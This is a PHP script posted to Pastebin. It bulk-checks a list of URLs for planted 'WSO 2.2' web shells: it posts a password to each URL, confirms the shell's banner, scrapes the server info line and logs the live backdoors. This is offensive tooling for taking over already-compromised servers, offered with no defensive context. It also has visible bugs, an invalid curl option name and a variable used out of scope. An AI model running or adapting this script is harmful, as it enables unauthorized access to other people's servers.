Guest User

Untitled

a guest
Jan 12th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.58 KB | None | 0 0
  1. <?php
  2. $connections = 5;
  3. $postdata = array('pass' => 'sdasdas');
  4.  
  5. $urls = file('urls.txt');
  6.  
  7. error_reporting(E_ALL);
  8. ignore_user_abort(true);
  9. set_time_limit(0);
  10.  
  11. if (!is_writable('connect_error.txt')) {exit('connect_error.txt - not writable!');}
  12. if (!is_writable('not_shell.txt')) {exit('not_shell.txt - not writable!');}
  13. if (!is_writable('results.txt')) {exit('results.txt - not writable!');}
  14.  
  15.  
  16. $links = array();
  17.  
  18. foreach ($urls as $link)
  19. {
  20. $link = trim($link);
  21. if (empty($link)) { continue;}
  22.  
  23. $links[] = $link;
  24. if (count($links)>=$connections) {multicurl($links);$links = array();}
  25. }
  26. if (count($links)>0) {multicurl($links);$links = array();}
  27.  
  28. echo 'Completed!';
  29.  
  30. function multicurl ($links)
  31. {
  32. $flows=count($links);
  33.  
  34. for ($i = 0; $i < $flows; $i++) $ch[$i] = curl_init();
  35. for ($i = 0; $i < $flows; $i++)
  36. {
  37. curl_setopt($ch[$i], CURLOPT_URL,$links[$i]);
  38. curl_setopt($ch[$i], CURLOPT_TIMEOUT, 25);
  39. curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1);
  40. curl_setopt($ch[$i], CURLOPT_CURLOPT_POST, 1);
  41. curl_setopt($ch[$i], CURLOPT_POSTFIELDS, $postdata);
  42. curl_setopt($ch[$i], CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3","Connection: keep-alive"));
  43. curl_setopt($ch[$i], CURLOPT_SSL_VERIFYPEER, false);
  44. curl_setopt($ch[$i], CURLOPT_SSL_VERIFYHOST, false);
  45. curl_setopt($ch[$i], CURLOPT_ENCODING, 'gzip,deflate');
  46. }
  47.  
  48. $mh = curl_multi_init();
  49. for ($i = 0; $i < $flows; $i++) curl_multi_add_handle($mh,$ch[$i]);
  50. $running=null;
  51. do
  52. {
  53. curl_multi_exec($mh,$running);
  54. usleep(3000);
  55. } while ($running > 0);
  56.  
  57.  
  58. for ($i2 = 0; $i2 < $flows; $i2++)
  59. {
  60. if (curl_error($ch[$i2]))
  61. {
  62. file_put_contents('connect_error.txt',"{$links[$i2]}\r\n",FILE_APPEND);
  63. echo "<b>Multi curl error:($i2):</b>".curl_error($ch[$i2])." <br>\r\n";
  64. }
  65. else
  66. {
  67. $r = curl_multi_getcontent($ch[$i2]);
  68. preg_match_os($r,$links[$i2]);
  69. }
  70. }
  71. for ($i = 0; $i < $flows; $i++)
  72. {
  73. curl_multi_remove_handle($mh, $ch[$i]);
  74. curl_close($ch[$i]);
  75. }
  76. curl_multi_close($mh);
  77. return ;
  78. }
  79.  
  80.  
  81. function preg_match_os($r,$url)
  82. {
  83. if (!preg_match('!WSO 2.2!',$r)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
  84. if (!preg_match('!<nobr>(.*?)<!is',$r,$res)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
  85. file_put_contents('results.txt',"{$res[1]}:::$url\r\n",FILE_APPEND);
  86. }
Add Comment
Please, Sign In to add comment